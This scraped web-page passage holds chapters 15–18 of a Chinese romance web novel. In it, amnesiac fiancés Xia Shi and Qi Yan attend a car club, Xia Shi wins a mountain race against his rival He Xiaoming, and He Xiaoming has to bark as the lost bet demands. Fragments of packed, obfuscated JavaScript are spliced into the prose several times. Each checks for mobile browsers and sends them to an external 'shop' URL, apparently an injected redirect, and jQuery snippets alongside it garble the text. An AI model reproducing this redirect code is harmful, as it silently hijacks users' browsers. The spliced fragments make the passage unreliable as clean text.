l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538293|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 祁言一下子就不敢动了。 夏时的指尖擦过他皮肤,细腻温润,祁言捏着杯子的手紧了紧,眼镜松开时他条件反射闭了闭眼,一眨眼,眼镜就戴在了夏时脸上。 夏时戴上眼镜,先是透过镜片往周围看了看,视线倒没什么不同,随即摸出手机瞧了瞧自己的模样。 明明是同一副眼镜,祁言戴是少了几分青涩,更添了成熟风,夏时却完全戴出了另一种风格—— 镜片将他过分漂亮的眼折射出清浅的味道,他还穿着居家服,略长的发丝在脖颈一扫,眼睛俏皮地一眨,活脱脱一清秀干净邻家小孩儿,少年味顿时更足了。 祁言立刻体会了一把夏时刚进书房时感觉到的视觉冲击,风水轮流转,现在轮到他感同身受:长这么好看做什么,把人可爱得一大跳。 跳得他就着夏时的脸又猛地喝了口咖啡压压惊。 夏时收起手机朝他凑近了点:“怎么样?” 非常好! 祁言本着不能吓到小同学的原则,矜持:“好看。” “不然我也去买一副吧,”夏时说着把眼镜摘下,想了想又作罢,“还是算了,我用眼已经够注意了。” 祁言略感遗憾,不过一想到夏时偶尔可以戴戴他的眼镜,那样子也只有自己能看见,又没那么遗憾了。 夏时送完咖啡,心满意足走了,他看祁言喝得有滋有味,于是突发奇想,干脆给自己也来了一杯。 他哼着小调往自己猫杯里倒上咖啡,带着对自己手艺的自信来了一口—— 夏时:“!” 浓烈的苦味直冲天灵盖,差点把他舌头掀飞。 夏时虽然不爱喝苦的,但也不是没喝过咖啡,可他真没喝过这么难喝的,又焦又涩,还有疯狂寻找存在感的酸,在口腔里疯狂打架,连中药跟它一比都显得眉清目秀。 吓得他立刻拿过一个新杯子,猛放牛奶和糖,调出杯纯甜的牛奶,库库一口气喝完大半杯,总算觉得自己活了过来, 夏时心有余悸:祁言是怎么喝下去的? 是祁言的咖啡豆就是这个风味儿,还是他做法有问题? 夏时看着杯子里剩的咖啡,不死心,又往里面加了牛奶和糖,端起来再尝一口—— 夏时死心了。 难喝,还是难喝。 糖非但没有把焦苦酸涩压下去,反而混合成了一股更为复杂的新奇味道,幸好夏时只抿了一小口,不然说不准真得吐出来。 夏时立刻摸出手机啪啪打字,给祁言发消息。 【小宝贝:你真的觉得刚才的咖啡好喝?#震惊猫猫头.jpg#】 【大帅比:对啊#狗子点赞.jpg#】 夏时大为震撼。 真的假的?难不成喜欢喝咖啡的人口味都与众不同的吗? 可是祁言做的饭菜又十分好吃,说明他味觉没问题。 ……那可能是只在咖啡上这样? 夏时觉得自己逐渐理解了一切。 对爱喝甜的他来说虽然理解,但还是不由心生怜悯,夏时盘算着,给祁言买点更香然后没那么苦那么涩的咖啡豆吧。 吃点好的准没错。 夏时准备从聊天界面切到网购界面,看到车友群正在艾特全体成员,点进去一看,是群主的消息。 【云速俱乐部诚邀各位会员朋友于明天下午三点参加“金枝杯”友谊赛,获胜者将得到丰厚奖品,我们也为所有朋友准备好了纪念礼品和宴饮,期待您的到来,不见不散】 嗯,明天还有跟何小鸣的赌约来着。 夏时手指一滑,切去了购物界面选咖啡豆:何小鸣应该不会逃跑吧? 16.第十六章 何小鸣很想逃,但是他逃不了。 一来当时有狐朋友狗和新情人的见证,二来,夏时在打赌那天就在群里发了条消息。 他不仅表明自己要参赛,还点名要跟何小鸣比,此话一出,群里瞬间热闹起来。 有看热闹的,有瞎起哄的,消息眨眼就被刷了几十条。 如果何小鸣在情人和狗腿面前编个理由反悔不去了,他们也不敢说什么,但这个群里多的是少爷千金,其中不乏混不吝程度跟何小鸣不相上下的,他们洗涮起人来可不嘴软。 就算何小鸣真肚子疼来不了,都得被他们当成谈资好好笑话一通,更不用说临阵脱逃。 何小鸣是真被高高架起来了。 群里起哄的时候,据说是夏时最好朋友的唐橙也给他发来了消息。 唐橙在群里看到了夏时发言,他顶着一个橙色橘子的头像来私聊夏时:“何小鸣那傻逼又惹你了?” 夏时扬眉,看来何小鸣很傻逼这事儿对他跟身边的人来说都是共识。 这是他失忆后第一回跟唐橙说话,其实他跟祁言的过去,除了问爸妈,还可以问朋友,有些事年轻人之间没准了解得更详细,但夏时暂时不愿意跟太多的人透露自己失忆的事,因此用寻常口吻回了消息。 夏时打字:“是啊。” 唐橙的文字骂骂咧咧:“他要追着你咬到什么时候,就光咬祁言一个不行吗?” 他咬祁言就是咬我,那肯定不行啊。 虽然看得出来唐橙向着自己,但夏时还是打字:“不行。” 唐橙:“。” 唐橙:“行吧,这你也要比,没救了#摊手.jpg#” 夏时脑子里冒出问号:我也没比啊? 唐橙是不是误会了什么。 不过唐橙很快转移了话题:“行,不聊这个了,反正你也不可能输给何小鸣,我还要在外面玩一个月,回来给你带特产!” “只给你带,不给祁言。” 夏时刚看完,唐橙下一句又冒出来了:“算了,你俩还住在一起呢,我还是给他也带一份。” “不然搞得我不懂礼貌。” “不过放心,给你的一定比给祁言的好!#超大拇指.jpg#” “芜湖船要开了,我玩去啦!等我回来再见!” 唐橙最后发了一张海景图,光速下线,夏时纳闷地把唐橙几句话翻来覆去看,也没摸透唐橙对祁言究竟算个什么态度。 根据爸妈的描述,自己和唐橙是初中认识的,那唐橙肯定也会认识跟他一直在一块儿的祁言,算下来也是好几年的交情了。 唐橙聊天语气看起来跟自己更亲近,那他对祁言这是……损友间的调侃? 总不能是真故意针对祁言吧? 因为他跟祁言以前感情那么好,唐橙作为好友,只要他俩之间没问题,唐橙没必要跟祁言过不去。 可惜夏时不记得唐橙的性格,没法精准匹配这几句话的语气。 试想一下,如果见面,唐橙搭着他的肩,好哥俩地吐槽何小鸣,然后扭头对旁边的祁言揶揄“他怎么就不能只咬你一个呢”,好友互损的味道就很到位,活灵活现。 信息量不足,夏时只能暂时搁置,等唐橙回来见过面再说吧,一个月而已。 不着急。 没准到时候他跟祁言已经找回了更多的记忆,事情就好办多了,又或者……哪怕仍然失忆,但他们又互相喜欢,重新在一起了呢? 这样也能使得情况看起来不是太糟,让自己的好朋友不用为自己太担心嘛。 夏时心宽地给唐橙留言:“玩得开心!” 车友群里热闹还没散,大家用的都是真名,夏时看何小鸣一个泡没冒,也就没再怎么关注群消息,直到今天群主出来艾特大家,提醒时间。 明天三点嘛,他没忘。 跟何小鸣赛车哪有给祁言买咖啡豆重要? 有人轻松有人忧,夏时这边不以为然,何小鸣却是实打实愁了两天,连着两晚极度焦虑睡不好,到了比赛当天,何小鸣挂着深邃的黑眼圈,萎靡不振,旁边人看得一乐:“哟何少,又去哪儿浪了?” 何小鸣沉着脸:“浪屁。” 他提前两个小时早早到了俱乐部,平日里最爱嚣张的他窝在角落里,就是希望不要引人注目,但今天等着看好戏的人多着呢,哪能放过他。 一个跟他关系还不错的人凑了过来:“你说你,看不惯夏时,跟他打打嘴仗就行了,比什么车啊,你又不是不知道他技术多好。”他宽慰道,“算了,反正输给车技好的也不丢人,就当随便玩一圈嘛,又不是打赌,输了还得赔上什么,哈哈!” 何小鸣没吭声,他笑不出来。 那人从他的沉默里察觉到什么,笑声低了,在何小鸣耷拉的脑袋里微微睁大眼:“……告诉我你没打赌。” 何小鸣:“……” 朋友也笑不出来了。 “靠!”他跳起来,“你傻了啊?摆明输的局打什么赌!” 他看到不远处的人被他的嗓门儿吸引了注意力,连忙压低声音:“你赌什么了?” 何小鸣气若游丝:“……输了狗叫。” 朋友:“……” 他想了想,又想了想,最后拍拍何小鸣的肩,给他点了根烟:“我保证不拍视频,够意思吧?” 何小鸣心累得连让他滚都不想说了。 随着时钟嘀嗒往前,俱乐部里人越来越多,何小鸣坐立难安,尤其当他听到那句“哎,我看到夏时和祁言了”之后,何小鸣刷啦起身。 在若无其事和怼脸硬刚之间,何小鸣选择了第三条路。 “我去个洗手间。” 何小鸣溜得飞快,赶在被夏时祁言看到之间消失,朋友咂咂嘴:“瞧那样。” 其实何小鸣就是不跑,夏时和祁言暂时也不会把他怎样,因为两人一进来,就有不少人上来打招呼。 每个人都面带微笑热情洋溢,但对失忆的人来说,不熟,真不熟。 好在夏时和祁言提前背了信息,感谢他们没怎么P图,此时能把来打招呼的人一一对上号。 “夏时,这边!” “好久不见了祁言,嚯,你手怎么弄的?” 夏时和祁言一边神态自若打招呼,一边发现了不对劲。 因为上来招呼的人聊着聊着,就把他俩分别簇拥到了两个地方,隔了点距离。 虽然人有亲疏远近,夏家和祁家在社交场也有各自的人脉,但这里不是什么谈业务的正式场合,就是大家随便玩玩,怎么还能说着说着就把订了婚的情侣给分开了呢? 夏时刚想扭头往祁言那边看看,就有人用非常熟稔的口吻叫他:“夏时。” 夏时只好先应付这边。 面前这人一下就跟会员名单对上了号,他叫冉乐,冉家主营酒店、餐饮,资产远不如夏家,但在夏时老爸提供的人脉关系网里,两家关系还不错。 冉乐人如其名,看着就乐呵呵的:“来这么早?” “也不早了,”夏时道,“再坐一会儿差不多比赛就开始了。” “何小鸣也是,多少年了还追着你跟祁言不放,”冉乐嘲道,“这可比他追情儿用心多了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543451|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道的还以为你俩才是他真爱呢。” 想想何小鸣的尊荣和那烂透的性格,夏时也乐了:“别讲鬼故事。” 冉乐笑了一通,带着点八卦的语气:“哎,祁言手怎么伤的?” 夏时没提车祸,他跟祁言统一过口径,对外都说:“意外,不小心弄的。” 冉乐:“哦。” 夏时本来以为他会多问几句,或者关心一下祁言,没想到冉乐好像真就随口一问,立马又换了下一个话题。 “雅林山庄新到了三匹赛级马,我看过照片,毛色可漂亮了,有空一起去玩玩吗?” 他话题转得太快,夏时想说这不对吧,你都不再问问祁言吗,但他看冉乐神情自然,好像没觉得有任何问题,夏时只好先顺着他的话:“再说吧,祁言手还伤着,等他好了再说。” 祁言伤好了就能一块儿去骑马,现在祁言即便过去也只能干看着其他人玩,多没意思。 冉乐面露疑惑:“他受伤跟你出去玩有什么联系??” 夏时:? “不是,”夏时跟他讲道理,强调,“男朋友受了伤,我把他一个人丢下出去玩,你觉得合适吗?” 虽然他和祁言目前还在暧昧阶段,但其他人不知道他们失忆啊,所以他们眼里,夏时和祁言就该是感情很好的未婚夫夫。 冉乐依旧满脸不解,他张了张嘴正要说什么,但突然眼神一动,恍然大悟:“噢我明白了!” “也对,真这么做了,家长那边不好交代。”冉乐彻底理解,“你也不容易。” 夏时总觉得这句看起来很对的话好像还是有哪里不对,他关心祁言,当然不是因为爸妈那里不好交代,是他自己愿意啊。 但也有可能冉乐是个心大的人,旁人没提醒,他就可能想不到。 冉乐应该还没谈过恋爱吧?所以也容易忘记朋友已经谈了恋爱有了身份,有了更多该做的事。 夏时觉得自己也理解了。 “也没什么不容易,”夏时作为一个在学习恋爱方面的优秀选手,绝对不吝于分享知识,“你以后要是遇到什么恋爱方面的问题,可以找我咨询。” 冉乐:? 话题怎么跑到这儿来的? 冉乐:“呃,谢谢?” 夏时拍拍他的肩,大大方方:“不客气!” 这时候,屋内的音响响了起来,开始播放起了赛前提醒。 “各位会员朋友们,欢迎你们回家!” 立体音响全屋环绕,效果绝佳。 播音员声音非常好听,如清风徐徐,但听得何小鸣如坐针毡。 他跟夏时算是半道才加进来的选手,虽然这种娱乐局,怎么加都无所谓,但按照某些人特别想看乐子的尿性,没准会把他们安排在—— “以上!那么下面我们有请第一场比赛的两位选手入场,他们是何小鸣,夏时!” ——还真安排在了第一场! 何小鸣两眼一闭,看不到未来,后悔的程度达到了巅峰。 夏时听到后,微微抬手往祁言那边示意,见祁言看过来,用眼神传递:我上场咯。 祁言居然跟他脑电波对上了,朝他点点头:上吧,看好你。 夏时在祁言这儿加完油,心满意足跟着引路侍者走了,他不知道,冉乐正不确定地看看这边,又看看那边。 夏时刚才是在跟祁言招呼? 不不,那个方向人多,应该是在跟别人示意。 或者夏时是在对不能上场玩车的祁言进行挑衅。 嗯,一定是这样,冉乐又理解了,这样才合理嘛! 17.第十七章 祁言自打踏进俱乐部,也跟夏时一样,总觉得很多地方有隐约的违和感。 失忆就等于情报缺失,太多东西不好判断了。 “祁言,你看什么呢?”祁言旁边的人问。 他还没说话,就有人帮腔:“那边不就是夏时和何小鸣过去的方向嘛,啧啧,他俩争起来其实没什么悬念啊。” “是啊,何小鸣怎么想的,真比,还嫌不够丢人,”一人道,“不过他盯着夏时总比盯着你强。” 强在哪儿?我是可能看着小男友受挑衅而无动于衷的那种人吗? 祁言揣摩着他们的反应,不动声色:“我没觉得他只盯着夏时有什么好的。” 他等着看他们又会怎么说,结果旁边的人摸了摸下巴,煞有介事:“也是,现在挑衅夏家跟挑衅你家也差不多,说到底还是何小鸣脑子有病。” 祁言赞同何小鸣脑子有病,但前面那句话意思就差点了,年轻人之间小打小闹,干嘛不提他们本身,直接扯他们家? 但为了掩盖失忆,有些话又不好直接问,只能一点点慢慢挖。 “亲爱的朋友们,比赛即将开始,让我们将镜头对准我们的主角!” 今天玩的是盘山路,云速俱乐部包了座山,山道不算特别险,但飙车玩疯了受伤的也不是没有,何小鸣肠子都悔青了,硬着头皮拉开车门。 夏时把俱乐部的盘山路和平地都跑得很熟,他在俱乐部留了台自己的车,专门在赛道飙车用,改装过的,金黄的车身,动力更带劲儿,起步跟飞也差不多。 他有条不紊准备,镜头说是拍两位选手,但明显更偏爱他的脸,镜头到车窗边,拍着他漂亮的侧脸,低头时,乌黑修长的睫毛十分显眼。 有时候从正面看可能容易忽略,从侧面看过去,长长的睫羽就很有优势了,翕动的时候,像小小的羽毛刷,细密柔软,衬着底下那双含光的眼,一点点刷在某人心坎上。 祁言很理解从前的自己为什么那么爱给夏时拍照,除了更加醒目的美,还有可能是因为,当透过屏幕和镜头,只注视着他的时候,会有种他只属于自己的错觉。 夏时发现了镜头,偏过头,眨了下眼。 有人一抖,祁言听到那人仿佛吓了一跳:“我靠,他眨眼干嘛?” 祁言视线落过去,就见那人一边嘟囔一边脸有点红,明显口是心非。 眨眼也是给我看的,祁言心说,便宜你们了。 倒计时的信号灯亮了起来,解说嗓音清越:“倒计时,三、二、一,GO!” 飘扬的赛结旗迎风呼啦一落,两台车如闪电般疾驰而出,何小鸣咬着牙也是拼了劲儿了,事已至此,他还是想说,他真的不想狗叫啊! 夏时赛车技术好又怎么样,搏一搏单车变摩托,没准他就赢了呢! 于是在第一个拐弯处,他一轰油门,以从前没尝试过的速度在弯道超车,虽然很大可能性超不过……咦? 超过去了? 由于太过顺利,比起高兴,何小鸣完全没有任何真实感,他一脸懵逼,茫然地看着在后视镜里落后他的车影。 当何小鸣顺利超过夏时的时候,大厅里通过屏幕看着比赛的人群也瞬间哗然,难以置信。 “何小鸣超车了!?夏时不该从起步开始就把他一直甩开吗?” “夏时搞什么呢?” 解说的声音也响起:“何小鸣成功领先!”他可不敢说出乎意料,只能按部就班,“看来比赛一开场就很激烈啊,让我们拭目以待!” 当双方实力差距太大的时候,从起点就遥遥领先才是常态,祁言身边的人也很惊讶,不管夏时和祁言关系如何,他水平是大家有目共睹的,谁都没想过他会输给何小鸣。 夏时要是输了,那是不是代表跟夏时不相上下的祁言也可能输给何小鸣? 到时候何小鸣会嘚瑟成什么样,简直不敢想。 于是祁言身边某人有点着急:“夏时干什么呢,不会真玩脱了吧?” 比起周围人或惊讶或着急,祁言倒是很淡定,他没有从前的记忆,不知道夏时真正水平,但只是看了几分钟,就看出了端倪。 祁言勾勾嘴角:“急什么。” 旁边人纷纷扭头:“嗯?” 祁言看出来了,夏时无论直线还是过弯分明都非常丝滑,游刃有余,那么没一开始就高速往前冲只有一个理由:是在试探何小鸣的水平, 现在试出来了,夏时很快就会发力了。 祁言不能说夏时压根儿不记得何小鸣几斤几两,所以盯着周围人好奇的眼神,他只随意一笑:“夏时逗他玩呢。” 好像为了印证祁言的话,他话音刚落,稳步落在何小鸣之后的车突然跟打了鸡血似的,以迅雷不及掩耳之势窜了出去,在大家还没反应过来的时候超了何小鸣。 “漂亮!夏时漂移超车!非常利索漂亮的漂移!他还在加速,还在加速!”解说就爱这种有戏剧性的剧情,不然显得他无所事事,立刻也燃了起来,“双方距离逐渐加大,前面就是连续急弯了!” 看比赛的人又沸腾了:“哦哦哦!” 祁言猜得没错,夏时一开始跟在何小鸣身后,就是想看看他水平,他自信,但不盲目,连对何小鸣中这样的对手都谨慎,直路加上弯道超车,够他判断了。 菜鸡。 夏时得出了结论。 夏时猛地一踩油门,方向盘一打,车身晃出了残影,就让他来教教何小鸣什么才叫超车。 何小鸣在超车后脑回路反应慢半拍,迟了一会儿才感到兴奋,立刻闪起了车灯,这在飙车里是嘲讽的意思。 他比夏时快,这场比赛他有可能赢,他能—— 旁边一阵风呼啸而过,打断了何小鸣的激动。 夏时的车影如电如魅,眨眼就把他甩在了身后。 妄想想到一半的何小鸣:“……” 他还在闪烁的车灯此刻也变得格外可笑,比赛竞技里,嘲讽是个回旋镖,谁菜谁尴尬。 何小鸣咬牙,还没灰心,没事,他刚能过夏时,现在肯定也能,于是他也加速,奋起直追。 可同一条路上,每个人能驾驭的速度是不同的,有人能高速漂移过弯,有的人只能老老实实力求平稳,否则山地上一个不小心,受伤程度可难说。 夏时加速后,就再没慢下来过,何小鸣只能眼睁睁看着他的车越来越远,越来越远,在快淡出他视野的最后一个弯道前,夏时的车灯亮了。 灯一闪一闪,随着速度摆出了拖尾的流光,连个尾气都不让何小鸣闻,仿佛在说:就这? 这才是有效嘲讽啊。 大厅里,冉乐直接笑出了声,锐评:“杀人诛心。” “所以夏时一开始是故意让着何小鸣,给他点错觉?哇看来何小鸣这回把人惹挺狠啊。” 夏时在高速疾驰的车里,只觉得酣畅淋漓,他此刻不是在跟何小鸣比了,他只是在享受飙车的乐趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548717|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 过快的速度会带来肾上腺素飙升,情绪也会跟着高昂,好像什么烦恼都能抛在脑后,失忆啊陌生的不适感啊,都通通见鬼去吧! 人生就不该有那么多烦恼,自由自在,畅快地活才是他的风格! 风声呼啸,引擎的轰鸣声响彻山道,两侧的视野都化作了流动的色块,每一个细胞都在为征服速度而战栗,光影掠过,夏时在这种沸腾时刻觉得自己身心都飞了起来。 如果说有谁能托住他,有谁能拽着他不失控,有谁能分享他此时此刻的心情,那个人一定是—— 祁言。 所有喧嚣后,他眼前只划过了一张脸。 热闹的大厅里,祁言抬脚转身。 “哎祁言,去哪儿啊,你不看啦?” 祁言朝身后摆了摆手。 ——他要去终点等夏时。 他在无人机的拍摄里看到了夏时的神情,那双眼睛闪烁着耀眼的光,好像照进了全世界,又好像什么都没看,祁言在那瞬间莫名觉得,他应该过去。 他应该在夏时夺得胜利,最神采飞扬的那一刻,出现在夏时眼里。 祁言穿过通道,走到了终点候人的位置,他看着屏幕上的车用华丽的技术破风飞驰,何小鸣早没影了,这是属于夏时的个人秀。 当金色的闪电冲过终点线,礼炮和火花自动炸开,彩带飞扬,夏时在滑出一段后急急停下了车,在地面擦出了黑色的车辙。 大厅里的人们看着夏时急停,门啪嗒一开,长腿一踩就下了车,然后抬头张望,好像在找什么。 找什么?众人莫名其妙。 接着,他们就看见祁言出现在了屏幕上。 所有人:? 夏时梭巡的视线停了。 他一个箭步冲到祁言面前,都快撞上了似乎才反应过来什么,又险险停住,然后,所有人都看着他对着祁言,扬起了一个灿烂的笑。 那笑可太好看了,大白天的,星光璀璨,毫无阴霾,盛大烂漫过整个夏天。 摄像机没有拍到祁言的表情,人们只看到他飞速拿起手机对准了夏时,看姿势应该是在拍照,而后夏时奔上去,祁言收起手机,抬手跟他击了个掌。 所有人:!? 我眼睛没看花吧,夏时和祁言,他们俩,击掌?? 是他们疯了还是世界疯了??? 夏时和祁言可不知道大厅里众人的精彩纷呈,他的心脏还因为飙车带来的刺激而飞速跳动,血液澎湃在他耳朵里,他最想见祁言、无比想跟他分享喜悦的时候,一抬头,祁言就在他目之所及的地方。 可能肾上腺素真的过了头,比赛完的夏时不但没冷静,心跳声反而更重了。 震耳欲聋。 要不是祁言身前还吊着伤臂,夏时刚才可能会直接给他一个大大的拥抱。 “祁言,”夏时在礼花和心跳声里大声道,“我们去约会吧!” 他想带祁言去兜风,去尽情体会他感受到的乐趣。 一条彩带飘到夏时头顶上方,被祁言伸手截住,没让它碰到夏时头发。 祁言抓着彩带,眼里装着缤纷的布景和夏时。 “好啊。”祁言说。 他们俩你侬我侬,全然不知道此刻大厅里,众人满脸见鬼了的表情。 虽然他们没听到两人的对话,但不妨碍看清两人亲密的劲儿,笑得花都快飞出屏幕了。 这还是夏时跟祁言吗!? 18.第十八章 夏时和祁言回到宾客厅的时候,所有人视线齐刷刷落在了他们身上。 气氛不对劲,很不对劲。 没人第一时间上来祝贺夏时获胜,或者夸他赢得漂亮,大家的眼神古古怪怪,惊疑不定,仿佛看到了什么新物种。 怎么,飙个车还能让自己基因变异了? 夏时对他们的态度简直匪夷所思。 还是冉乐凑上来,先说“我就知道夏时你肯定把他打得落花流水”,然后一脸欲言又止。 如果只是一个人奇怪,夏时大概还能忍一忍,但现在这情况把他的疑问也勾起来了:“冉乐,有话就说啊,你知道你现在什么表情吗?” 冉乐满脸菜色:“可能是吃了苍蝇的表情吧。” 夏时:“……挺精准的。” 冉乐憋了憋,看看夏时,又看看他身边气定神闲的祁言,终于没忍住:“你俩这又是唱的哪一出?” 夏时:“你指哪方面?” 就你俩四目相对眉目传情好像下一秒就能卿卿我我……啊啊啊不行,太可怕了,更可怕的是以上画面居然真的出现了! 救!! 冉乐脆弱的心灵受到了巨大的冲击,这么可怕的画面他根本不敢用语言描述,说一个字都会让他脚趾直接抠出世界地图,他脑子里紧急避险能想到的最合理解释就是—— “你们是不是又打赌了?” 夏时是真惊讶了:“你怎么知道?” 你怎么知道我跟何小鸣打赌了? 冉乐闻言大松一口气:“我就说!” 吓他一跳! 他就知道一定是夏时跟祁言又私下打了什么赌,不然怎么可能在众人面前表现得这么亲密。 等等,好像还是有点不对劲。 他们以前输了赢了都是在口头上或者行动上下功夫,哪一次不是边履约边咬牙切齿阴阳怪气,但这一回可是眼神在拉丝啊。 表情也能演? 演得还跟真的似的。 就拿夏时十八岁生日聚会来说,玩小游戏,夏时输了祁言一轮,当时夏时必须对着祁言说“非你不嫁”,那简直是从牙缝里一个字一个字蹦出来的,祁言没放过得胜后炫耀的机会,拉长语调说“我也非你不娶”,在冉乐看来,完全是故意气夏时。 所以甭管嘴里是什么甜言蜜语,那面对宿敌的神情才最真。 今天到底唱得哪一出? 冉乐还想再问,却不知谁喊了一声何小鸣,夏时立刻被吸引了注意力,扭过头去用眼神精准抓住了想悄摸开溜的何小鸣。 “何少,”何小鸣先前用少爷来少爷去嘲讽祁言,夏时今天也给他嘲回来,“去哪儿?说好的谁输谁狗叫,你不会想逃吧。” 大家伙儿本来在琢磨夏时和祁言之间的古怪,听闻还有此等乐子,立刻忙不迭捉稳,生怕凑不上热闹:“什么什么,有打赌?” “输了狗叫?有这么好玩的事不早说!小鸣快,来一个!” 有些看热闹不嫌事大的已经把手机都架好了,何小鸣暗骂狗东西,对夏时恨得牙痒痒,他捏紧拳头,还要嘴硬:“谁要逃,我就是去上个洗手间!” 夏时毫不留情戳穿了他:“卫生间该左转。” 不知谁吹了个流氓哨:“何少,我们先前还在厕所碰到过,你尿频啊,还是飙个山道被吓着了?” 此言一出,众人顿时哄堂大笑,何小鸣气得面红耳赤,羞愤难当,跟着脏话就喷了过去:“吓你个鸟!” 然后他顶着飙升的血压,在怒火中烧时冲着夏时就叫:“汪!汪汪!” 这架势,活像是恨不能把夏时咬块肉下来的真疯狗。 “老子我输得起!”何小鸣胸口起伏,拿手指用力朝夏时一指,千万句脏话和不甘最后汇成一句—— “今天的事我记住了,等着!” 说完他拨开挤过来看热闹的人群,还怒而砸了谁的手机,口里喊着“谁敢把视频传出去他跟谁没完”,推搡着冲出了大门。 得亏大门是推拉重门,不然还不得被何小鸣摔出震天响。 夏时偏头,就看祁言施施然放下了手机,夏时:“你拍了?不会已经发朋友圈了吧?” 祁言:“没发,我只是手机、云端和后台都备了个份,万一用得上呢?” 目前没有以前的记忆,不知道跟何小鸣到底什么仇什么怨,如果是小儿科呢,那就随手翻篇,如果梁子真深呢,再反复公开处刑也不迟。 祁言感慨:“我真是个好人。” 夏时赞同:“确实。” 刚看完热闹转身又听到这么两句对话的冉乐:“……” 不是!?冉乐要尖叫了,夏时你说谁好人,谁!! 你们这次到底比了什么,玩这么大的吗!? 冉乐挠心抓肝,想拉着夏时问个清楚,但夏时叫来后勤,要他们去传个话。 后勤愣了愣:“您说您之后的比赛要弃权是吗?” 夏时:“对,我今天就是来跟何小鸣比一场,之后就不参加了。” 临时起意的情况后勤见得也不少,确认无误后他点头:“好的。” 冉乐也讶异:“你这就走了?” 居然专门为何小鸣来一趟,还以为夏时从来只会为跟祁言的比试破例,何小鸣这次把夏时惹挺狠啊。 “对,走了,你们玩。” 祁言也朝他旁边那些人打招呼:“玩得开心,回头再聊。” 那群人也懵了:“怎么你也现在走?” 祁言心道他跟夏时一起来,肯定一起走,有什么问题? 而且夏时还要带他去兜风,去约会。 留在这里看一群陌生人比赛哪有跟夏时约会重要。 殊不知在众人眼里,他们一起来正常,因为大伙儿都知道他们住一起,可他俩从来是在同一个地方各玩各的,然后各自回家,今天到底吹得什么风? 再加上方才两人在屏幕里击掌…… 我去,他们该不会错过了什么剧情,夏时和祁言要世纪大和解了吧!? 夏时祁言一走,不少人纷纷凑上来围住了他俩的熟人,七嘴八舌争相发问。 “什么情况,他俩什么情况!?” “我不道哇,你问我我问谁?” “别吧我还赌了他俩什么时候解除婚约呢,喂冉乐,有什么兄弟们不知道的内情快分享分享!” 冉乐把几条压上来的胳膊从肩膀上掀下去:“我哪儿知道!” 冉乐从人群里溜出去,到了清净的走廊,摸出手机给唐橙发消息:“夏时好像不对劲!!!” 他一连打了三排感叹号,表达作者的惊讶之情。 然而消息发出去,对话框前面还送了他一个感叹号。 红底,白色,表示对方已拒绝了您的消息。 冉乐这才发现自己被唐橙拉黑了。 冉乐:? 不是哥们儿,怎么又拉黑他! 冉乐仔细琢磨自己最近到底哪儿得罪他了,想了半天,还真想起个事儿。 大概疫一星期前,唐橙在朋友圈发了张国外海滩上拍的照片,周围还有一群人在狂欢,大家妆容头饰都很夸张,唐橙也戴了个搞怪的眼镜和帽子。 于是在评论区一片哈哈声里冉乐也跟着哈哈哈,顺便说了句大实话:“这套造型也太搞笑了!” 思索完毕的冉乐:“……” 他又没诬陷,其余人也说了那套装扮搞笑啊! 不过冉乐也不是第一次被唐橙拉黑,每次理由奇奇怪怪各不相同,他都习惯了,反正过段时间唐橙心情好了,又会把他放出来。 只可惜暂时没法跟谁分享夏时的不对劲,不过算了,夏时和祁言总能出人意料搞些大新闻,吓死人不偿命,都能为了逞一时之气直接逞成订婚的,这脑回路也是没谁了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553325|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如果哪天他俩真的言笑晏晏和和气气你侬我侬…… 冉乐狠狠打了寒噤。 果然还是太可怕了,不想了不想了,还是看比赛去吧。 * 俱乐部内的比赛如常继续,俱乐部外,一辆蓝色的跑车流畅地行驶而过,载着车内两人,将热闹的赛场远远抛在身后。 这是夏时今天开出门的车。 这是祁言的车。 出门前两人去到车库,在他俩各自的记忆里,车库都只有一排属于自己的车,然而现实是,以过道为分界,左右两排长长的车形成对立之势,越野对越野,超跑对超跑,楚河汉界,遥遥相望。 而每两个对峙的车位上,除了车的颜色,品牌型号分明都一模一样。 夏时看惯了自己的车,目光当然会不由自主落到祁言的车上,他有台银色跑车,祁言有台型号一样但改涂成了蓝色,看惯了银色,乍一看蓝的,居然也很漂亮。 祁言察觉他目光,取过一旁的车钥匙抛给夏时:“试试?” 于是夏时就开车祁言的车出来了。 天气不错,收起车顶后,敞篷跑车可以进行享受阳光与微风,来路上因为注意时间,所以没怎么留心沿途风景,回程既然说好了兜风,自然可以慢慢欣赏。 